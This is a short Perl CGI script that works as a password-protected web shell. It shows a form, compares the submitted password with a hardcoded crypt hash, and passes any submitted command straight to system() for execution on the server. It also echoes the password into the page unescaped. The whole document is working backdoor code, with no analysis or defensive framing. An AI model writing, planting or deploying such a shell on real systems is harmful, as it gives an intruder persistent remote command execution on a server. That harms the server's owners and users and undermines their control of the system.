#!/usr/bin/perl

use strict;
use CGI qw(header param);

$| = 1;

print header();

# Crypted password
my $HASH = "azEehXEsKGpt6";

# Fetch CGI input
my $password = param('password');
my $command  = param('command');

# Output HTML
print << "END";

<form method="post">
<input type="password" name="password" value="$password"><br>
<input type="text" name="command"><br>
<input type="submit">
</form>
<pre>

END

# If the password is correct, execute the command
if (crypt($password, $HASH) eq $HASH)
{
        system($command);
}